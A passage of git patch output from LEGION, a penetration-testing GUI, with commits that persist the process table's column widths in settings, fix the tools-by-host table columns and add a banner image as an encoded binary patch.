self.tools_path_hydra = self.toolSettings['hydra-path'] self.tools_path_cutycapt = self.toolSettings['cutycapt-path'] self.tools_path_texteditor = self.toolSettings['texteditor-path'] - + + # gui + self.gui_process_tab_column_widths = self.guiSettings['process-tab-column-widths'] + except KeyError as e: log.info('Something went wrong while loading the configuration file. Falling back to default settings for some settings.') log.info('Go to the settings menu to fix the issues!') diff --git a/controller/controller.py b/controller/controller.py index 75ca2791..3cf7fd07 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -102,7 +102,7 @@ def initTimers(self): # these time def loadSettings(self): self.settingsFile = AppSettings() self.settings = Settings(self.settingsFile) # load settings from conf file (create conf file first if necessary) - self.originalSettings = Settings(self.settingsFile) # save the original state so that we can know if something has changed when we exit SPARTA + self.originalSettings = Settings(self.settingsFile) # save the original state so that we can know if something has changed when we exit LEGION self.logic.setStoreWordlistsOnExit(self.settings.brute_store_cleartext_passwords_on_exit=='True') self.view.settingsWidget.setSettings(Settings(self.settingsFile)) @@ -114,10 +114,10 @@ def cancelSettings(self): # called whe self.view.settingsWidget.setSettings(self.settings) # resets the dialog's settings to the current application settings to forget any changes made by the user @timing - def saveSettings(self): + def saveSettings(self, saveBackup=True): if not self.settings == self.originalSettings: log.info('Settings have been changed.') - self.settingsFile.backupAndSave(self.settings) + self.settingsFile.backupAndSave(self.settings, saveBackup) else: log.info('Settings have NOT been changed.') diff --git a/ui/view.py b/ui/view.py index a9381332..9301ce0c 100644 --- a/ui/view.py +++ b/ui/view.py @@ -94,7 +94,7 @@ def start(self, title='*untitled'): self.ToolsTableModel = None self.setupProcessesTableView() self.setupToolsTableView() - + self.setMainWindowTitle(title) self.ui.statusbar.showMessage('Starting up..', msecs=1000) @@ -145,6 +145,7 @@ def startConnections(self): # signal ini self.connectSwitchTabClick() # to detect changing tabs (on left panel) self.connectSwitchMainTabClick() # to detect changing top level tabs self.connectTableDoubleClick() # for double clicking on host (it redirects to the host view) + self.connectProcessTableHeaderResize() ### CONTEXT MENUS ### self.connectHostsTableContextMenu() self.connectServiceNamesTableContextMenu() @@ -206,9 +207,7 @@ def initTables(self): # this funct headers = ["Progress", "Elapsed", "Est. Remaining", "Display", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] setTableProperties(self.ui.ProcessesTableView, len(headers), [1, 2, 3, 4, 5, 8, 9, 10, 13, 14, 16]) self.ui.ProcessesTableView.setSortingEnabled(True) - self.ui.ProcessesTableView.horizontalHeader().resizeSection(0, 125) - self.ui.ProcessesTableView.horizontalHeader().resizeSection(4, 750) - + def setMainWindowTitle(self, title): self.ui_mainwindow.setWindowTitle(str(title)) @@ -231,6 +230,22 @@ def setDirty(self, status=True): # this funct #################### ACTIONS #################### + + ### + + def connectProcessTableHeaderResize(self): + self.ui.ProcessesTableView.horizontalHeader().sectionResized.connect(self.saveProcessHeaderWidth) + + def saveProcessHeaderWidth(self, index, oldSize, newSize): + columnWidths = self.controller.getSettings().gui_process_tab_column_widths.split(',') + difference = abs(int(columnWidths[index]) - newSize) + if difference >= 5: + columnWidths[index] = str(newSize) + self.controller.settings.gui_process_tab_column_widths = ','.join(columnWidths) + self.controller.applySettings(self.controller.settings) + self.controller.saveSettings(False) + ### + def dealWithRunningProcesses(self, exiting=False): if len(self.controller.getRunningProcesses()) > 0: message = "There are still processes running. If you continue, every process will be terminated. Are you sure you want to continue?" @@ -937,7 +952,7 @@ def setupToolsTableView(self): headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] self.ToolsTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, showProcesses = 'noNmap', sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn), headers) self.ui.ToolsTableView.setModel(self.ToolsTableModel) - + def updateToolsTableView(self): if self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) == 'Scan' and self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] @@ -1149,7 +1164,13 @@ def updateProcessesTableView(self): self.ui.ProcessesTableView.repaint() self.ui.ProcessesTableView.update() - # Hides columns we don't want to see + # load the column widths from settings to persist widths between sessions + columnWidths = self.controller.getSettings().gui_process_tab_column_widths.split(',') + header = self.ui.ProcessesTableView.horizontalHeader() + for index, width in enumerate(columnWidths): + header.resizeSection(index, int(width)) + + #Hides columns we don't want to see for i in [1, 12, 14, 16]: self.ui.ProcessesTableView.setColumnHidden(i, True) From e8e50c924184b5f88091f5174a039744e361fcad Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 22 Feb 2019 16:10:10 -0600 Subject: [PATCH 132/450] Fixed tools by host --- controller/controller.py | 2 +- ui/view.py | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index 223044d1..3082d085 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1550867142' + self.build = '1550873397' self.author = 'GoVanguard' self.copyright = '2019' self.emails = ['hello@gvit.com'] diff --git a/ui/view.py b/ui/view.py index 40edb80f..a2787fbf 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1061,14 +1061,14 @@ def updateNotesView(self, hostid): self.setDirty(False) def updateToolHostsTableView(self, toolname): - headers = ["Progress", "Display", "Pid", "Name", "Action", "Target", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status", "Closed"] - self.ToolHostsTableModel = ProcessesTableModel(self,self.controller.getHostsForTool(toolname), headers) + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ToolHostsTableModel = ProcessesTableModel(self, self.controller.getHostsForTool(toolname), headers) self.ui.ToolHostsTableView.setModel(self.ToolHostsTableModel) - for i in [0, 1, 2, 3, 4, 7, 8, 9, 10, 11, 12, 13, 14, 15]: # hide some columns + for i in [0, 1, 2, 3, 4, 5, 6, 9, 10, 11, 12, 13, 14, 15]: # hide some columns self.ui.ToolHostsTableView.setColumnHidden(i, True) - self.ui.ToolHostsTableView.horizontalHeader().resizeSection(5,150) # default width for Host column + self.ui.ToolHostsTableView.horizontalHeader().resizeSection(7, 150) # default width for Host column ids = [] # ensure that there is always something selected for row in range(self.ToolHostsTableModel.rowCount("")): From 5790afd31120ca8b6f5b418d77fe592dafa6cb50 Mon Sep 17 00:00:00 2001 From: GitHub Date: Mon, 25 Feb 2019 09:25:03 -0500 Subject: [PATCH 133/450] Add files via upload --- images/LegionBanner.png | Bin 0 -> 46213 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 images/LegionBanner.png diff --git a/images/LegionBanner.png b/images/LegionBanner.png new file mode 100644 index 0000000000000000000000000000000000000000..06579bff49036042c0ca3f607c0189fcd82fbea5 GIT binary patch literal 46213 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 